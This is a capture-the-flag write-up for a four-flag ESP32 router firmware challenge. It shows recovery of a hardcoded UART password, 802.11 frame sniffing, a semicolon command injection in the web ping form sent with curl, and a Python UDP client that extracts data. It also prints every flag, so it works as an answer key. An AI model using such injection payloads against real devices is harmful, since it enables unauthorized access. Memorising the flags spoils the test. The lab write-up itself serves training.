241 lines
5.9 KiB
Markdown
241 lines
5.9 KiB
Markdown
# Jnouned Router
|
||
|
||
| Field | Value |
|
||
|-------|-------|
|
||
| Category | ESP |
|
||
| Difficulty | Multi-part (Easy to Hard) |
|
||
| Points | 100 / 200 / 300 / 400 (4 flags) |
|
||
| Author | Eun0us |
|
||
| CTF | Espilon 2026 |
|
||
|
||
---
|
||
|
||
## Description
|
||
|
||
The CERT-CORP intercepted a strange firmware from an unknown router model built by the
|
||
shady *JNouner Company*.
|
||
|
||
Analysts found it targets an **ESP32-based prototype**, but the system is protected by a
|
||
locked **UART console**.
|
||
|
||
Flash the firmware, break into the system, and work your way through every layer of this device.
|
||
|
||
Format: **ESPILON{flag}**
|
||
|
||
---
|
||
|
||
## TL;DR
|
||
|
||
Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff
|
||
802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse
|
||
a custom UDP protocol (JMP) to exfiltrate the final flag.
|
||
|
||
---
|
||
|
||
## Tools
|
||
|
||
| Tool | Purpose |
|
||
|------|---------|
|
||
| `esptool.py` | Flash firmware |
|
||
| `screen` / `minicom` | UART console access |
|
||
| `airmon-ng` / `tcpdump` | 802.11 monitor mode capture |
|
||
| `curl` | Web admin POST injection |
|
||
| Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client |
|
||
| `strings` / Ghidra | Firmware static analysis |
|
||
|
||
---
|
||
|
||
## Flags Summary
|
||
|
||
| Flag | Name | Points | Value |
|
||
|------|------|--------|-------|
|
||
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
|
||
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
|
||
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
|
||
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
|
||
|
||
---
|
||
|
||
## Solution
|
||
|
||
### Setup
|
||

|
||
— Flash the firmware
|
||
|
||
```bash
|
||
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
|
||
0x1000 bootloader.bin \
|
||
0x8000 partition-table.bin \
|
||
0x10000 jnouned_router.bin
|
||
```
|
||
|
||
Open the UART console:
|
||
|
||
```bash
|
||
screen /dev/ttyUSB0 115200
|
||
```
|
||
|
||
> 📸 `[screenshot: UART console showing jnoun-console> prompt]`
|
||
|
||
---
|
||
|
||
### Flag 1 — Console Access
|
||

|
||
(100 pts)
|
||
|
||
The UART console presents a `jnoun-console>` prompt requiring a password.
|
||
|
||
Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find
|
||
`build_admin_password()`. The password is assembled from three parts:
|
||
|
||
```
|
||
p1 = "jnoun-"
|
||
p2 = "admin-"
|
||
p3 = "2022"
|
||
→ password = "jnoun-admin-2022"
|
||
```
|
||
|
||
```text
|
||
admin_login jnoun-admin-2022
|
||
```
|
||
|
||
Flag 1 is printed on success.
|
||
|
||
> 📸 `[screenshot: successful admin_login command printing Flag 1]`
|
||
|
||
---
|
||
|
||
### Flag 2 — 802.11 TX
|
||

|
||
(200 pts)
|
||
|
||
From the admin console, read device settings:
|
||
|
||
```text
|
||
settings
|
||
```
|
||
|
||
The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`):
|
||
|
||
- **SSID**: `Jnoun-3E4C`
|
||
- **PSK**: `LAIN_H4v3_Ajnoun`
|
||
|
||
Trigger the 802.11 data-frame flood for 90 seconds:
|
||
|
||
```text
|
||
start_emitting
|
||
```
|
||
|
||
Put your WiFi adapter into monitor mode on the same channel and capture frames:
|
||
|
||
```bash
|
||
airmon-ng start wlan0
|
||
tcpdump -i wlan0mon -w capture.pcap
|
||
# or
|
||
tshark -i wlan0mon -w capture.pcap
|
||
```
|
||
|
||
Among the random noise frames, one frame emitted at a random time (5–85 seconds)
|
||
contains Flag 2 as cleartext in its 802.11 data payload.
|
||
|
||
> 📸 `[screenshot: Wireshark frame showing Flag 2 in the payload field]`
|
||
|
||
---
|
||
|
||
### Flag 3 — Admin Panel (300 pts)
|
||
|
||
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an
|
||
HTTP server at `http://192.168.4.1`.
|
||
|
||
Log in: `admin` / `admin`.
|
||
|
||
The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads:
|
||
*"Parser séparateur ';'"* — the internal shell splits commands on `;`.
|
||
|
||
Inject via the `target` field:
|
||
|
||
```bash
|
||
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
|
||
-d "target=x%3B+flag"
|
||
```
|
||
|
||
Decoded: `target=x; flag`
|
||
|
||
Flag 3 prints to the UART console via `ESP_LOGE`.
|
||
|
||
> 📸 `[screenshot: UART console showing Flag 3 output after injection]`
|
||
|
||
---
|
||
|
||
### Flag 4 — JMP Protocol (400 pts)
|
||
|
||
Trigger the exfiltration session via the web injection:
|
||
|
||
```text
|
||
target=x; start_session
|
||
```
|
||
|
||
The UART console leaks:
|
||
|
||
```text
|
||
JMP Server listening on UDP:6999
|
||
PROTOCOL INITIALIZATION LEAK:
|
||
Magic: 0x4A4D5021
|
||
Auth hash (SHA256): <hash>
|
||
Hint: Secret pattern is JNOUNER_SECRET_XXXX
|
||
```
|
||
|
||
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
|
||
then request all data blocks:
|
||
|
||
```python
|
||
import socket, struct, hashlib
|
||
|
||
HOST = "192.168.4.1"
|
||
PORT = 6999
|
||
MAGIC = 0x4A4D5021
|
||
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
|
||
|
||
secret_hash = hashlib.sha256(SECRET).digest()
|
||
|
||
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
|
||
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
|
||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||
sock.sendto(auth_pkt, (HOST, PORT))
|
||
|
||
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
|
||
resp, _ = sock.recvfrom(1024)
|
||
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
|
||
print(f"Token: 0x{token:08x}")
|
||
|
||
# Request all blocks
|
||
flag = b""
|
||
for block_id in range(10):
|
||
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
|
||
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
|
||
sock.sendto(req, (HOST, PORT))
|
||
resp, _ = sock.recvfrom(1024)
|
||
|
||
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
|
||
if len(resp) < 8:
|
||
break
|
||
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
|
||
data = resp[8:8+dlen]
|
||
flag += data
|
||
if bid + 1 >= total:
|
||
break
|
||
|
||
print(flag.decode())
|
||
```
|
||
|
||
> 📸 `[screenshot: Python JMP client printing the final flag after block reassembly]`
|
||
|
||
---
|
||
|
||
## Flag
|
||
|
||
- Flag 1: `ESPILON{Jn0un3d_4dM1N}`
|
||
- Flag 2: `ESPILON{802_11_tx_jnned}`
|
||
- Flag 3: `ESPILON{Adm1n_4r3_jn0uned}`
|
||
- Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`
|